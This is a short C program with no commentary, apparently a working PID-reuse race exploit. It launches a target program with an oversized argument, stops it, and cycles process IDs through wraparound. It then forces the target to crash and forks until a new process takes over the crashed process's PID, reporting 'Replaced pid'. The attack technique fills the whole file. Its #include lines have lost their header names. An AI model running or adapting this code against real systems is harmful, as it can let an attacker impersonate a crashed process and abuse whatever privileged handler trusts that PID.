#include #include #include #include #include #include #include int main(int argc, char **argv) { char *program = argv[1]; char argv0[0x20000]; memset(argv0, 0x7f, sizeof(argv0)); argv0[sizeof(argv0) - 1] = 0; *++argv = argv0; int pid; retry: switch ((pid = fork())) { case -1: perror("fork"); return 1; case 0: execv(program, argv); perror("execv"); return 1; } usleep(random() % 1000); if (kill(pid, SIGSTOP)) { perror("kill"); return 1; } int newpid, prevpid = 0, wraps = 0; while ((newpid = fork()) >= 0) { if (!newpid) return 0; wait(NULL); if (newpid < pid - (1 + random() % 20)) break; if (newpid < prevpid) if (++wraps > 3) break; prevpid = newpid; if (newpid % 1000 == 0) fprintf(stderr, "Target pid %d, current pid %d\n", pid, newpid); } if (kill(pid, SIGSEGV) || kill(pid, SIGCONT)) { perror("kill"); return 1; } if (random() & 1) { usleep(random() % 1000); if (kill(pid, SIGKILL)) { perror("kill"); return 1; } } while ((newpid = fork()) >= 0) { if (!newpid) return 0; wait(NULL); if (newpid >= pid) break; } if (newpid != pid) { fprintf(stderr, "Target pid %d, current pid %d - missed target, retrying\n", pid, newpid); goto retry; } fprintf(stderr, "Replaced pid %d\n", pid); printf("%d\n", pid); return 0; }